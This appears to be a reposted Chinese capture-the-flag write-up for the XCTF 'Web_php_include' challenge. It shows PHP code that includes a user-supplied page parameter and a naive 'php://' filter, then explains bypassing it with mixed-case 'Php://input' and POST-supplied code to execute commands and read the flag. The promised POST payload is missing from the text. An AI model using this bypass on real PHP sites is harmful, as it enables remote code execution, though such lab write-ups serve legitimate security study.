攻防世界高级WEB题目 （四） --Web_php_include

本文主要是介绍攻防世界高级WEB题目 （四） --Web_php_include，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

话不多说直接上代码：

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {		//strstr函数返回字符串第一次出现的地方
    $page=str_replace("php://", "", $page);			//正则匹配php://，但是有一个注意点，这个地方可以大小写混写绕过，所以传参为Php://input，利用post手段进行php代码执行
}
include($page);
?>

通过get方法进行请求：http://111.200.241.244:64116/?page=Php://input
然后通过post方法进行传递以下参数：就可以看到里面有什么文件，此时用查看文件命令即可得到flag。

这篇关于攻防世界高级WEB题目 （四） --Web_php_include的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！